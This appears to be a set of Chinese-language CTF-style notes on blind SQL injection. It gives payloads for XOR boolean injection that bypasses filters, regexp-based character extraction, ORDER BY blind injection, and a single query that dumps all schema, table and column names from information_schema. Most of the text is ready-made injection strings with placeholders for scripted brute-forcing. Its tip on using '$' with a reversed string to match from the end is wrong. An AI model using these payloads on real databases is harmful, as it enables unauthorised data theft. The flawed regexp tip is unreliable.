XOR注入
有这样一个特性
0^1^0 结果为真0^0^0 结果为假
假设我们构造这么一个语句
admin'^(ascii(mid(password from i))>j)^'1'='1'%23
admin'^(ascii(mid(password from {} for (1)))>{})^'1'='1'%23
MID(str,start,len)——从第start位开始截取长度为len
使用场合:过滤 and or 逗号 空格
regexp注入
基本语句
select (select 语句) regexp '正则表达式'
我们使用正则来对查询结果进行一步步判断(逐渐完善正则匹配语句)
比如说我们现在有这样一个例子
select user from users where user_name = 1
我们加入正则进行匹配
select (select user from users where user_name = 1) regexp '^a'
这里^表示 pattern 的开头
继续匹配
select (select user from users where user_name = 1) regexp '^a1'
最后将其全部匹配出来
select (select user from users where user_name = 1) regexp '^a114514'
regexp还可以替代 where 中的=号
select * from users where user_name regexp '^a'
如果 ^被过滤,可以使用$从后往前进行匹配
select (select user from users where user_name = 1) regexp '$415411a'
使用场合:过滤 = in like
order by 盲注
注入语句
select * from table_name where id='1' union select 1,2,'a',4,5,6,7 order by 3
order by 对查询结果进行排序(默认升序 | +desc降序)
这里这句话是指我们按照第三列进行排序
我们可以通过对注入的返回差异来进行盲注
select * from table_name where id='1' union select 1,2,'{}',4,5,6,7 order by 3
小技巧
一次性爆所有表名列名
(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)
问题:Subquery returns more than 1 row的解决方法
